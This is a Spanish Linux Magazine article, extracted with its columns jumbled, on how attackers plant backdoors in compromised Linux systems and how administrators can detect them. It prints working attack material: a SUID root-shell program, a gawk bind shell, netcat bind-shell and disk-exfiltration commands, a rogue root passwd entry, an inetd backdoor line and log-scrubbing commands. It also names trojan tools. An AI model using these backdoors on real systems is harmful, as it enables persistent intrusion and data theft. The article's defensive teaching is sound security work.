Está en la página 1de 6

PORTADA • Pasadizo Secreto

Técnicas para la creación de un troyano oculto

PASADIZOS
SECRETOS
Las puertas traseras proporcionan al atacante acceso ilimitado a un sis-

tema zombie. Si quieres evitar que los chicos malos se acomoden, te

interesará un análisis sobre las herramientas que se pueden usar para

crear un troyano. POR AMIR ALSBIH

D
espués de lanzar con éxito un ata- piando el historial y manipulando archi- La Puerta Trasera
que, un hacker malintencionado vos de registro, o wtmp y utmp. Tras limpiar los archivos de registro e
no se sienta a descansar. Explotar 4. El intruso instala rootkits que ayuden a implementar las ofuscadoras utilidades del
una vulnerabilidad y conseguir acceso con mantener oculto el ataque. Gracias al rootki,t el atacante ya puede pasar a la
privilegios de root es sólo la mitad de la rootkit los administradores de la parte final: la instalación del troyano. La
historia. Como norma general, los atacan- máquina comprometida no pueden ver forma más simple de asegurarse el acceso
tes están más interesados en continuar los procesos, conexiones y archivos del es el mismo agujero de seguridad que se
explotando la máquina lanzando nuevos atacante. usó en un primer momento para entrar a la
ataques desde ella. Para facilitar las cosas, 5. El último paso es preparar una puerta máquina. Si ésta es actualizada solamente
tras el acceso inicial, normalmente un ata- trasera para facilitar el acceso. Los troya- de forma esporádica, como es el caso de
cante tratará de manipular la máquina víc- nos hacen que la máquina quede en muchos de los PCs domésticos o escolares,
tima. El proceso del ataque comprende manos del atacante, incluso en caso de puede resultar un método extremadamente
cinco fases distintas: que el agujero que le permitió entrar sea efectivo, ya que el rastro que deja es
1. El atacante explota un agujero de seguri- parcheado. mínimo.
dad local o remoto para hacerse con el La primera parte del ataque ya ha sido Esta forma de operar tiene una desven-
control de la computadora de la víctima. objeto de estudio, pero a menudo es difícil taja muy importante, y es que se corre el
2. Escala privilegios hasta conseguir el sta- hallar información sobre la parte final y peligro de perder el acceso a la máquina en
tus de administrador. El nivel de admi- crucial del troyano. ¿Qué significa que un caso de que la víctima instale una actuali-
nistrador es necesario para que el ata- atacante “instala una puerta trasera”? Este zación. Otro inconveniente es que normal-
cante pueda borrar archivos de registro o artículo explica las técnicas que usan los mente el agujero no dará al atacante acceso
instalar rootkits. atacantes a la hora de crear una puerta tra- a una terminal. Muchos intrusos profesio-
3. El atacante elimina cualquier rastro lim- sera en un sistema comprometido. nales preferirán cerrar el agujero usado

12 Número 29 WWW.LINUX- MAGAZINE.ES


Pasadizo Secreto • PORTADA

que la seguridad informática, hasta hace Otros troyanos locales toman la forma de
Limpieza de registros tan sólo unos pocos años, no se tomaba binarios modificados. Debido a que el
Lo primero que hace un hacker experi- tan en serio como hoy día. Bajo estas cir- código abierto es fácilmente accesible, no
mentado es eliminar rastros. La mejor cunstancias, las técnicas más simples es muy difícil para los hackers modificar
forma de llevarlo a cabo es con grep. solían ser las más efectivas, especialmente programas libres y usarlos para reemplazar
La opción -v suprime las líneas coinci-
cuando los atacantes podían contar con a los programas originales. De nuevo, esto
dentes con una expresión regular
una actitud descuidada en materia de sólo sirve si el programa se ejecuta con pri-
determinada. Por ejemplo, si necesita-
mos eliminar de un archivo de registro
seguridad por parte de los administrado- vilegios de root.
todas las líneas que contienen la direc- res. El troyano eject es un ejemplo de un tro-
ción IP 192.168.100.12: yano binario. Tecleando eject -t abrimos y
Troyanos Locales cerramos la bandeja del dispositivo de CD.
cat logfile | grep -v U
Un troyano local requiere que el atacante Una versión modificada de eject compro-
“192.168.100.12” U tenga acceso legítimo al sistema. Ha bará si está definida una variable determi-
>> logfile.mod habido pocos cambios en las técnicas tradi- nada y si el contenido de dicha variable
mv logfile.mod logfile cionales a lo largo de los años. Un troyano coincide con una contraseña proporcio-
Claro que este método no es seguro. local podría consistir en un programa en C nada con eject. En tal caso, la herramienta
Es bastante más fácil restaurar los o en un script que brinde al atacante el eject manipulada brindará una shell con
archivos usando alguna herramienta control de una shell con privilegios de root. privilegios de root al usuario que ejecuta el
forense. Por desgracia, este sistema Para esto, el script o el programa activa la binario. Como el parámetro -t cierra la ban-
tan simple consigue engañar a muchos marca SUID. Normalmente el programa deja, un usuario que se encuentre en las
administradores. Un hacker más minu- tiene un aspecto como éste: proximidades de la máquina víctima no se
cioso ejecutaría wipe sobre el archivo percatará del ataque.
original para eliminar el archivo en int main() {
lugar de sobreescribirlo. También nos setuid(0); Camuflaje de Contraseñas
puede servir alguna herramienta para
setgid(0); La puerta trasera más simple supone aña-
la limpieza de archivos de registro,
execl(“/bin/sh”,”ps”,”-i”,U dir un usuario con privilegios de root a
como la que encontramos en
NULL); /etc/passwd y/o /etc/shadow. El mejor sitio
Darklab.org [1].
return 0; para añadir una línea es a mitad del
} fichero, donde los administradores no sue-
para su entrada inicial a fin de evitar que len leer con detenimiento. Tras introducir
un script kiddie use la misma puerta para El comando setuid(0) especifica que el ID dicha línea, el fichero passwd podría tener
entrar y levante sospechas. del usuario será 0 (root), mientras que set- este aspecto:
A fin de garantizar un método de acceso gid(0) cambia el del grupo para que coin-
más fiable, muchos hackers instalan troya- cida. El programa abre entonces una shell ...
nos especiales. Se distinguen principal- que se muestra como ps en la lista de pro- hacker_malig:x:0:0:cuenta del U
mente dos categorías de troyanos: cesos. Normalmente los atacantes escon- hacker maligno:/root:/bin/bash
• Troyanos locales: Si un usuario ya tiene den estos scripts en lo más recóndito del ...
una cuenta en el sistema, no necesitará árbol de directorios para ejecutarlos cada
abrir ningún puerto. Bastará con que vez que quieran lanzar una shell como Al añadir una cuenta de usuario, el ata-
ingrese en el sistema y se concentre en root. cante ya no depende de un servicio deter-
la escalada de privilegios.
• Troyanos remotos: Si el hacker no tiene
una cuenta legítima en la máquina, el Troyano con Awk
troyano deberá proporcionarle acceso a 01 #!/usr/bin/gawk -f 12 # Leer comando
modo de shell remota. El hacker va a 02 BEGIN { 13 Service |& getline cmd
necesitar esta shell remota para no tener 03 Port = 8080 # Puerto en el que 14 if (cmd) {
que andar ejecutando a cada visita un
escuchar
exploit para el kernel u otro tipo de 15 while ((cmd |& getline) > 0
04 Prompt = “bkd> “ # El prompt
escalada de privilegios. 16 # Ejecutar comando,
La protección de los sistemas y los 05 # Abrir puerto de escucha
17 # devolver respuesta
mecanismos de seguridad han existido a 06 Service = “/inet/tcp/” Port
lo largo de los años, y los sistemas de pre- 18 print $0 |& Service
“/0/0”
vención y detección de intrusiones son 19 close(cmd)
07
hoy herramientas estándar.
08 while (1) { 20 }
Paralelamente, los troyanos se han
vuelto más sofisticados. Muchas de las 09 do { 21 } while (cmd != “exit”)
técnicas que los troyanos han heredado 10 # Mostrar prompt 22 close(Service)
parecen novedosas, si bien con capacidad
11 printf Prompt |& Service 23 }
retrospectiva; aunque conviene recordar

WWW.LINUX- MAGAZINE.ES Número 29 13


PORTADA • Pasadizo Secreto

Hoy día la mayoría de aplicaciones usan


esta librería, lo que convierte a estos
módulos en un lugar idóneo donde camu-
flar un troyano, particularmente intere-
sante para los atacantes.
Una forma de componer PAM es mani-
pulando el fichero support.c del código
fuente de PAM, de forma que incluye una
contraseña por defecto, oculta en el código.
Seguidamente el módulo, antes de proce-
der a autenticarle, comprueba que la con-
traseña que el usuario ha proporcionado
coincide con la contraseña secreta incluida
en el módulo. Si no coincide, se usa el sis-
tema de autenticación habitual. Esto signi-
fica que cada usuario del sistema (incluido
root) tiene dos contraseñas: una almace-
nada en /etc/shadow y una llave almace-
nada en la librería PAM manipulada.
Figura 1: PHPremoteshell proporciona un acceso oculto a los atacantes con cualquier navega-
dor. El atacante sólo tiene que esconder un archivo en el directorio adecuado. Loki 2
Loki 2 [2] fue publicada en Phrack Maga-
minado; por contra, puede ingresar al sis- un puerto determinado (Listado 1). Enton- zine como prueba de concepto de troyano-
tema tanto local como remotamente. ces el atacante puede teclear netcat direc- túnel. La herramienta esconde comandos
Usando servicios como SSH, el atacante ción_de_destino 8080 para conectar con el de terminal camuflándolos dentro de las
se asegura de que la sesión sea imposible sistema y que le sea devuelta una shell peticiones DNS, respuestas DNS, peticio-
de analizar, incluso con herramientas simple. nes ICMP echo y respuestas ICMP echo.
como tcpdump, ya que se usa una cone- Una herramienta de monitorización de
xión cifrada. Por supuesto, el atacante ten- Troyano con inetd redes como tcpdump no detectaría tráfico
drá que limpiar wtmp y utmp, así como los El superservidor inetd también permite a sospechoso a priori, ya que el ataque no
archivos de registro a fin de eliminar ras- los atacantes implementar troyanos sim- necesita abrir nuevos puertos. De todos
tros. ples. La forma de hacerlo es bastante senci- modos, este tráfico ICMP y/o DNS inusual
lla: el atacante define un nuevo servicio puede ser indicativo de alguna anomalía.
Netcat añadiendo una línea al fichero /etc/ Loki está basado en una arquitectura
La utilidad Netcat es también un puerta inetd.conf. Se podría usar el puerto 79, cliente/servidor, y soporta cifrado
trasera muy popular. Por ejemplo, Netcat puerto en el que suele escuchar el demonio mediante el uso de algoritmos como Blow-
tiene la capacidad de clonar discos duros. finger. La entrada para instalar un servicio fish o Xor. Esto hace que la reconstrucción
Para hacerlo, el atacante ejecuta el de puerta trasera con una shell interactiva de la sesión sea bastante compleja. En la
comando dd if=/dev/hda | netcat IP-DES- con privilegios de root queda como ésta: práctica, en las aplicaciones es más lógico
TINO puerto en el sistema del disco a clo- finger stream tcp nowait root /bin/sh sh -i. usar las respuestas ICMP echo que las peti-
nar, y netcat -l -p puerto > /dev/sda en el Como el puerto 79 pertenece a un servi- ciones, ya que muchos cortafuegos blo-
sistema de destino para crear una copia cio estándar, el atacante puede usar sim- quean las peticiones entrantes, mientras
idéntica del disco duro, incluida cualquier plemente la palabra clave finger. Entonces que permiten pasar las respuestas salientes
información confidencial contenida en él. inetd comprobará si la palabra coincide – después de todo no tiene mucho sentido
De todas formas, el uso más habitual de con algún puerto definido en /etc/services, bloquear las respuestas que se dan a un
Netcat es redirigir su entrada a una shell. Si en cuyo caso comenzará la escucha en ping.
se establece la comunicación con un sis- dicho puerto. De este modo el hacker
tema destino, la entrada pasa directamente puede ejecutar netcat hacia el puerto finger Troyanos Web
a la shell. El atacante sólo necesita insertar de la máquina víctima para obtener una Los atacantes han desarrollado una serie
netcat -l -p 1234 -e /bin/bash en la máquina shell con privilegios de root. Si decidiera de troyanos web a fin de trabajar con corta-
de destino y netcat IP-DESTINO 1234 en la usar un puerto desconocido, sin entrada en fuegos cuidadosamente configurados. El
máquina atacada. /etc/services, tendría que añadir a dicho motivo principal es que un servidor web
fichero la entrada para su servicio en lugar siempre necesita permitir el acceso web, es
Un Mal Uso de Awk de la de finger. decir, siempre habrá un puerto abierto que
Pocos usuarios son conscientes del poten- un atacante podría explotar.
cial destructivo de esta herramienta clásica Troyano PAM Esto llevó al desarrollo de los troyanos
de Unix: Awk. Grugq mostró el uso de Awk Los módulos PAM (Pluggable Authentica- CGI y PHP. Los dos métodos se basan en
como puerta trasera en la Blackhat Confe- tion Modules) proveen interfaces de pro- los mismos principios, y ambos brindan al
rence de 2005 [1]. El ataque ata a Awk en gramación para sistemas de autenticación. atacante un acceso basado en el navega-

14 Número 29 WWW.LINUX- MAGAZINE.ES


Pasadizo Secreto • PORTADA

dor. Una gran ventaja de los troyanos web todo lo necesario para tener fácil acceso aceptan comandos incrustados en el
es que el acceso al servidor puede ser con- con cualquier navegador (Figura 1). código HTML. La ventaja es que la cone-
ducido a través de los servicios que ofrecen La shell oculta proporciona información xión se inicia desde dentro del perímetro
proveedores de anonimato como Tor o JAP. del sistema y ejecuta comandos arbitrarios de la red, lo que en muchos casos ayuda al
PHPremoteshell [3] es un ejemplo de este en la máquina víctima. Al mismo tiempo atacante a burlar el cortafuegos. El hecho
tipo de troyanos. El atacante sólo tiene que incluye un navegador que soporta la de que los comandos estén ocultos en el
ocultar el archivo PHP en las profundida- subida y descarga de archivos (Figura 2). código HTML es otra gran ventaja, ya que
des del sistema de ficheros del servidor y Algunos troyanos web establecen una hace que este código malicioso sea difícil
asignarle los permisos pertinentes. Eso es conexión con un servidor web maestro y de descubrir por los forenses. El “Reverse

Tabla 1: Herramientas troyano


Nombre Descripción Fuente
Kaiten Un troyano IRC. Se conecta al puerto 6667 http://packetstorm.linuxsecurity.com/irc/kaiten.c
de un servidor IRCy espera órdenes en un canal.
Entre otras cosas, soporta ataques por
saturación y puede ejecutar código arbitrario.
Netcat Los script kiddies suelen usar netcat como http://netcat.sourceforge.net
troyano dada su capacidad para redirigir la
entrada/salida.
PHPRemoteshell PHPRemoteshell es un troyano web; un http://phpremoteshell.labs.libre-entreprise.org
atacante sólo debe dejarlo en un directorio
capaz de ejecutar código PHP.
La shell remota proporcions al atacante
acceso a shell y navegación de directorios,
así como subida y descarga de archivos.
Reverse WWW Tunnel Backdoor Un troyano para evadir cortafuegos. El troyano http://packetstormsecurity.org/groups/thc/
se conecta a un servidor web maestro y acepta rwwwshell-2.0.pl.gz
comandos incrustados en el código de páginas
web.
Bindtty Un troyano con soporte para terminal. Bindtty http://www.2701.org/archive/200311240000.html
quedará a la escucha tras el puerto 4000 por
defecto.
Silentdoor Silentdoor es un troyano de última generación. http://cmn.listprojects.darklab.org/
No escucha tras un puerto específico, sino que SAdoor-20031217.tgz
usa libpcap para capturar el trafico de la red.
Cuando detecta un paquete especialmente
manipulado puede, por ejemplo, devolver
una shell.
Safebreaker Un troyano de nueva generación que usa los http://www.informatik.uni-freiburg.de/~alsbiha/
RAW sockets de C para capturar el tráfico de la code.htm
red y devuelve una terminal o realiza una
conexión inversa cuando detecta un paquete
especialmente manipulado. Usa gnutls para
cifrar el tráfico y ofuscar el contenido de la
sesión.
Loki Un troyano que usa los paquetes ICMP para http://packetstorm.linuxsecurity.com
transportar las órdenes. Los paquetes se
pueden cifrar con los cifrados Blowfish o XOR.
Archivos SUID Se pueden reemplazar archivos suid por
binarios troyanizados. El atacante puede
obtener privilegios de root pasando un
parámetro o definiendo una variable de entorno.
Troyano PAM Ya que los módulos PAM son la interfaz de
autenticación estándar en Linux, se puede
hardcodear una contraseña en support.c
para acreditarse en cualquier servicio que
use el software PAM manipulado.
/etc/passwd, /etc/shadow y /etc/initd.conf Normalmente los atacantes añaden servicios
o usuarios con privilegios de root a estos ficheros
para poder acreditarse.

WWW.LINUX- MAGAZINE.ES Número 29 15


PORTADA • Pasadizo Secreto

generaciones de troyanos. Otro objetivo


importante era la sustitución del frágil
cifrado XOR por otro sistema de encripta-
ción más robusto. Para dicha tarea, los des-
arrolladores tuvieron en cuenta tres libre-
rías:
OpenSSL [9], GnuTLS [10] y Cryptlib
[11], eligiendo finalmente GnuTLS, dada la
excelente documentación y la facilidad de
integración con el software actual.
Para modificar las funciones de recep-
ción y transmisión de paquetes, y además
dotar al troyano de cifrado en la conexión,
sólo hay que cambiar unas pocas líneas de
código. Básicamente, Safebreaker actúa del
siguiente modo:
1. Comprueba cada paquete para determi-
nar si es un paquete TCP o no. Si no lo
es, no puede contener órdenes, y pasa
por tanto al siguiente paquete.
2. Con cada paquete TCP compara el
puerto de destino con un valor predefi-
Figura 2: Los troyanos web como PHPremoteshell ofrecen cómodas utilidades de subida y nido. Sólo los dirigidos a un puerto espe-
descarga de cualquier tipo de archivo. cífico son los destinados al troyano, el
resto se desecha.
WWW Tunnel” (Túnel inverso para www) una implementación de troyano sniffer que 3. No importa que no haya un servicio tras
[4] es un ejemplo de este tipo de troyano. usa la función de captura de la librería libp- el puerto de destino. El troyano no blo-
cap. Silentdoor, para asegurarse de que quea ni abre ningún puerto. La compro-
Bindshell sólo reacciona a los paquetes dirigidos al bación del puerto de destino sólo sirve
Todos los tipos de troyanos que hemos puerto UDP 53, actúa del siguiente modo: para precisar el número de paquetes diri-
visto hasta ahora tienen un inconveniente 1. Busca en el payload una clave para el gidos al troyano. Tampoco tiene efecto
importante: no proporcionan soporte para troyano. sobre un posible servicio tras el puerto
terminal. Están orientados a ser utilizados 2. Desencripta el contenido del paquete de destino.
mediante el uso de líneas, lo que explica (XOR). 4. El siguiente paso es comprobar que las
porqué con ellos no se pueden ejecutar 3. Comprueba que el paquete realmente marcas SYN y ACK son las esperadas.
programas como vi, que usan caracteres. contiene una orden para Silentdoor. 5. Si es así, lo siguiente es comprobar si el
Un troyano sin este inconveniente, y con 4. Ejecuta el comando. ID del paquete concuerda con el ID
soporte para terminal, es bindtty, por sd Una vez más, este tipo de troyano no mágico del troyano.
[5]. Una herramienta basada en cliente/ proporciona soporte para terminal. El 6. Para acabar, ya podemos estar bastante
servidor, donde el componente servidor punto fuerte de Silentdoor es que se seguros de que el paquete contiene órde-
abre un puerto definido en el código, por enconde bien y sólo abre un puerto nes para el troyano. Se evalúa por tanto
defecto el 4000. Siempre que un cliente se durante la conexión. el número de secuencia del paquete.
conecte a este puerto obtendrá una shell Es posible encontrar este tipo de troya- Ciertos números representan comandos
con soporte de pseudoterminal. nos buscando conexiones SSL, paquetes específicos. Safebreaker puede desempe-
Esto da al atacante acceso ilimitado al con aspecto de payload cifrado o conexio- ñar dos tareas distintas: bien construir
sistema remoto. Una enorme ventaja en nes en puertos desconocidos. un pseudoterminal en el puerto especifi-
comparación con tipos más antiguos de cado por el paquete, dando el control a
puertas traseras. Al mismo tiempo, el tro- Safebreaker quien lo envía; o bien conectar con el
yano permite que se conecten varios clien- Safebreaker es un troyano sniffer de nueva cliente, usando de nuevo el puerto espe-
tes simultáneamente, una habilidad que generación. Lo que motivó su desarrollo cificado en el paquete. Esta forma de
los troyanos basados en netcat o gawk no fue la implementación de un troyano que enfocarlo evita gran parte de los corta-
poseen. no dependiese de la librería libpcap de fuegos, ya que la mayoría permite cual-
tcpdump [7], la cual aún tiene asuntos de quier conexión saliente originada en la
Troyanos Sniffer estabilidad por resolver y además no suele red interna.
Hay una técnica relativamente reciente que estar instalada en la mayoría de sistemas. Este tipo de instalación sólo bloquea un
hace uso del rastreo de paquetes (sniffing). Al mismo tiempo, el desarrollador quería puerto cuando existe la conexión entre el
Estos troyanos capturan todo el tráfico de que Safebreaker usase una combinación de atacante y el troyano, esto es, cuando el
una interfaz de red respondiendo a un tipo técnicas contemporáneas para demostrar atacante ya ha ingresado en el sistema
determinado de paquetes. Silentdoor [6] es así los peligros potenciales de las nuevas (netstat no mostrará una conexión en otras

16 Número 29 WWW.LINUX- MAGAZINE.ES


Pasadizo Secreto • PORTADA

circunstancias). Otra ventaja es que así el proceso. Si descubrimos un ps que ha deberán respetar la máxima de que se ha
troyano no es accesible para usuarios for- estado corriendo durante más de 12 horas, de denegar todo lo que no esté permitido
tuitos; para acceder por la puerta trasera podemos suponer que se trata de un pro- de forma explícita.
hay que proporcionar los valores correctos ceso malintencionado. También hay que Las reglas de cortafuegos que permiten
para el puerto, el número de secuencia y el tener en cuenta que un troyano simple cualquier tipo de tráfico saliente generado
ID. espera conexiones entrantes en un puerto en la red interna son una invitación a los
fijo. Dicho puerto aparecería en la salida de hackers para el uso de métodos de cone-
A la Caza de Puertas netstat. xión inversa.
Traseras De todas formas nunca se puede estar También es buena idea el uso de proxies
Siempre es bueno usar herramientas que del todo seguro, ya que los rootkits como y balanceo de carga. Si además se configu-
comprueban la integridad del sistema de Override también pueden ocultar puertos. ran los cortafuegos para que sólo permitan
ficheros, como Tripwire [12]. Tripwire El comando netstat -an | grep LISTEN | grep la comunicación con los proxies, los hac-
monitoriza archivos y directorios críticos -v LISTENING muestra el listado de puertos kers lo tendrán más difícil a la hora de
del sistema, calculando el checksum y abiertos. Los escáneres de puertos propor- encontrar un vector de ataque válido. Un
comparándolo con valores anteriores. Si cionan un método mucho más fiable a la atacante todavía podría inyectar un tro-
encuentra un cambio, Tripwire lo notificará hora de investigar puertos. yano web; aún así no tendría privilegios de
al administrador, lo que le permite determi- Los troyanos sniffer, la última tendencia, root ni soporte para terminal, algo poco
nar qué archivos fueron modificados, eli- son algo más complejo. netstat sólo mues- divertido para él. Hagas lo que hagas, ase-
minados o añadidos durante el transcurso tra la conexión cuando un cliente está gúrate de eliminar de tus configuraciones
del ataque. conectado, aunque realmente puede que ni todas las opciones y servicios que no vayas
Tripwire no nos sirve en los escenarios siquiera haya un puerto abierto. En otras a necesitar. ■
donde el atacante ha eliminado el binario palabras netstat no nos sirve de ayuda en
tras ejecutar el troyano, ya que la herra- estos casos, especialmente si se establece
RECURSOS
mienta se encontraría en la memoria y no una conexión saliente desde la red local
[1] Limpiador de archivos de registro:
en el disco. Aunque al reiniciar se elimina- (conexión inversa), tampoco nos serviría
http://darklab.org/~jot/logclean-ng/
ría el troyano de la memoria, Tripwire y un escáner de puertos.
logcleaner-ng.html
herramientas similares no podrían detectar El único método efectivo en estos esce-
[2] Loki 2: http://artofhacking.com/files/
el ataque. narios es usar herramientas de monitoriza-
phrack/phrack51/live/aoh_p51-06.
También es bueno comprobar con fre- ción de tráfico como tcpdump o ethereal
htm
cuencia los archivos /etc/shadow, /etc/ [15]. Debido a que un troyano sniffer usa
passwd y /etc/inetd.conf. Puedes hacerlo un procedimiento fijo para saber si un [3] Phpremoteshell, por Emmanuel
simplemente con diff, comparándolos con paquete va dirigido a él o no, sólo podre- Saracco: http://labs.libre-entreprise.
una copia guardada en un medio prote- mos detectarlo buscando patrones repetiti- org
gido. vos en el tráfico de la red. [4] rwwwshell Van Hauser: http://
Si tu servidor SSH permite el ingreso Después de todo, es bastante improbable gray-world.net/papers/rwwwshell.txt
basado en clave, comprueba que el archivo que un puerto use un número de secuencia [5] bindtty: http://www.2701.org/
authorized_keys no contenga entradas y un ID idénticos cada vez. Podemos hallar archive/200311240000.html
nocivas. En ese caso el atacante ni siquiera fácilmente anomalías en el tráfico de la red [6] Silentdoor, por Brandon Edwards:
necesitaría clave para acreditarse. De mediante la definición de reglas que nos http://www.megasecurity.org/
nuevo, para archivos más grandes, diff [13] permitan comprobar si se da o no el caso . trojans/s/silentdoor/Silentdoor.html
es una buena opción. Los sistemas IPS e IDS también pueden [7] TCPDump: http://www.tcpdump.org/
Otra medida de protección es buscar ayudar a la hora de encontrar troyanos
[8] Safebreaker, por Amir Alsbih: http://
regularmente archivos SUID que pudieran conocidos.
www.informatik.uni-freiburg.de/
ser usados como troyano. La forma más
~alsbiha
fácil de hacerlo es mediante el comando Defensa
[9] OpenSSL: http://www.openssl.org
find / -type f -perm -04000 -ls -uid 0 2 > No hay una solución única para todos los
/dev/null. tipos de puerta trasera. Si un atacante con- [10] GnuTLS: http://www.gnu.org/
Ya que una puerta trasera es indepen- sigue instalar una puerta trasera en un sis- software/gnutls/
diente, también lo será el proceso encar- tema es porque dicho sistema tenía algún [11] Cryptlib, por Peter Gutmann: http://
gado de crearla, por tanto su ID y su nom- agujero de seguridad. Un buen troyano www.cs.auckland.ac.nz/~pgut001/
bre aparecerán en el listado de procesos, a siempre necesita privilegios de root. En cryptlib/
menos que lo oculte un rootkit como Ove- cuanto un atacante consigue privilegios de [12] Tripwire: http://sourceforge.net/
rride [14]. Por eso la mayoría de troyanos root, se puede considerar que el sistema projects/tripwire/
se esconden detrás de nombres aparente- está “enfermo”. Para reforzar nuestra pro- [13] Diffutils: http://www.gnu.org/
mente inofensivos como ps. Es fácil modifi- tección frente a los troyanos necesitamos software/diffutils/diffutils.html
car el nombre del programa sobreescri- un diseño de seguridad sólido, así como
[14] Override rootkit: http://www.
biendo argv [0]. Por otro lado, este tipo de parchear el sistema regularmente. Unas
informatik.uni-freiburg.de/~alsbiha
camuflaje es bastante trivial. Sólo hay que buenas reglas de cortafuegos también pue-
[15] Ethereal: http://www.ethereal.com
comprobar el tiempo de duración total del den contribuir a la seguridad. Dichas reglas

WWW.LINUX- MAGAZINE.ES Número 29 17

También podría gustarte